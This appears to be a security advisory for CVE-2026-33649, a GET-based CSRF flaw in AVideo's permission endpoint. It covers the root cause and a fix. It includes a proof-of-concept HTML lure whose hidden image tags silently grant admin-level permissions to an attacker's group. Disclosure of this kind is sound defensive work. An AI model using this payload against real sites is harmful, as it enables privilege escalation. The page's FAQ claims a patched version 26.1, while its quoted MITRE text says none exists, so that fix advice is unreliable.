CVE-2026-33649: AVideo's GET-Based CSRF in setPermission.json.php Enables Privilege Escalation via Arbitrary Permission Modification
Summary
The plugin/Permissions/setPermission.json.php endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets session.cookiesamesite=None on session cookies. This allows an unauthenticated attacker to craft a page with <img> tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access.
Details
The root cause is a combination of three issues:
1. $REQUEST used instead of $POST (accepts GET parameters):
plugin/Permissions/setPermission.json.php:14-24: php $intvalList = array('usersgroupsid','pluginsid','type','isEnabled'); foreach ($intvalList as $value) { if($REQUEST[$value]==='true'){ $REQUEST[$value] = 1; }else{ $REQUEST[$value] = intval($REQUEST[$value]); } }
$obj = new stdClass(); $obj->id = Permissions::setPermission($REQUEST['usersgroupsid'], $REQUEST['pluginsid'], $REQUEST['type'], $REQUEST['isEnabled']);
The only authorization check is User::isAdmin() at line 10 — there is no CSRF token validation via isGlobalTokenValid().
2. Session cookies set to SameSite=None:
objects/includeconfig.php:134-141: php if ($isHTTPS) { // SameSite=None is intentional: AVideo supports cross-origin iframe embedding iniset('session.cookiesamesite', 'None'); iniset('session.cookiesecure', '1'); }
This means the admin's session cookie is sent on cross-origin requests, including those initiated by <img src="..."> tags on attacker-controlled pages.
3. The codebase's own security model requires CSRF tokens on state-mutating endpoints:
The comment at includeconfig.php:137-138 states: "All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." Other endpoints like saveSort.json.php and pluginImport.json.php enforce isGlobalTokenValid(), but setPermission.json.php does not.
Execution flow: 1. Attacker hosts a page containing <img src="https://target/plugin/Permissions/setPermission.json.php?usersgroupsid=2&pluginsid=1&type=10&isEnabled=true"> 2. Admin visits the page (e.g., via link in forum, email, or embedded content) 3. Browser issues GET request with the admin's SameSite=None session cookie 4. User::isAdmin() passes because the request carries the admin's session 5. Permissions::setPermission() grants PERMISSIONFULLACCESSVIDEOS (type=10) to user group 2 6. Any user in group 2 (including the attacker) now has full video admin access
The usersgroupsid values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated.
PoC
Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):
html <!DOCTYPE html> <html> <head><title>Interesting Video</title></head> <body> <h1>Check out this video!</h1> <!-- Each img tag silently fires a GET request with admin's session cookie --> <!-- PERMISSIONFULLACCESSVIDEOS (type=10) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?usersgroupsid=2&pluginsid=1&type=10&isEnabled=true' style='display:none'> <!-- PERMISSIONUSERS (type=20) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?usersgroupsid=2&pluginsid=1&type=20&isEnabled=true' style='display:none'> <!-- PERMISSIONCANUPLOADVIDEOS (type=70) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?usersgroupsid=2&pluginsid=1&type=70&isEnabled=true' style='display:none'> <!-- PERMISSIONCANLIVESTREAM (type=80) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?usersgroupsid=2&pluginsid=1&type=80&isEnabled=true' style='display:none'> </body> </html>
Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)
Step 3: When the admin loads the page, all four <img> tags fire simultaneously.
Expected response for each request (visible in browser dev tools): json {"id":"1"}
Step 4: Verify — the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.
Impact
- Privilege escalation: A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page. - No JavaScript required: The attack uses only <img> tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.). - Zero interaction beyond page load: Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders. - Chaining: Multiple permissions can be granted simultaneously by embedding multiple <img> tags. An attacker can grant their group all available permission types in a single page load. - Blast radius: All users in the targeted group receive the escalated permissions, not just the attacker.
Recommended Fix
In plugin/Permissions/setPermission.json.php, change $REQUEST to $POST and add CSRF token validation:
php <?php
header('Content-Type: application/json'); if (!isset($global['systemRootPath'])) { $configFile = '../../videos/configuration.php'; if (fileexists($configFile)) { requireonce $configFile; } } if(!User::isAdmin()){ forbiddenPage("Not admin"); }
// Enforce POST method and CSRF token if ($SERVER['REQUESTMETHOD'] !== 'POST') { die(jsonencode(array('error' => 'POST method required'))); } if (!isGlobalTokenValid()) { die(jsonencode(array('error' => 'Invalid CSRF token'))); }
$intvalList = array('usersgroupsid','pluginsid','type','isEnabled'); foreach ($intvalList as $value) { if($POST[$value]==='true'){ $POST[$value] = 1; }else{ $POST[$value] = intval($POST[$value]); } }
$obj = new stdClass(); $obj->id = Permissions::setPermission($POST['usersgroupsid'], $POST['pluginsid'], $POST['type'], $POST['isEnabled']);
die(jsonencode($obj));
The AJAX call in getPermissionsFromPlugin.html.php:84-92 already uses type: 'post' but must also send the globalToken parameter in its data payload.
Other sources
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the plugin/Permissions/setPermission.json.php endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets session.cookiesamesite=None on session cookies. This allows an unauthenticated attacker to craft a page with <img> tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access. As of time of publication, no known patched versions are available.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33649?
CVE-2026-33649 has been classified as a high severity vulnerability due to its potential for privilege escalation.
How do I fix CVE-2026-33649?
To fix CVE-2026-33649, upgrade to AVideo version 26.1 or later where the vulnerability is addressed.
What are the potential impacts of CVE-2026-33649?
CVE-2026-33649 can lead to unauthorized changes in user permissions, potentially allowing an attacker to escalate privileges.
Which versions of AVideo are affected by CVE-2026-33649?
CVE-2026-33649 affects AVideo versions up to and including 26.0.
What type of vulnerability is CVE-2026-33649?
CVE-2026-33649 is a GET-based Cross-Site Request Forgery (CSRF) vulnerability affecting permission settings.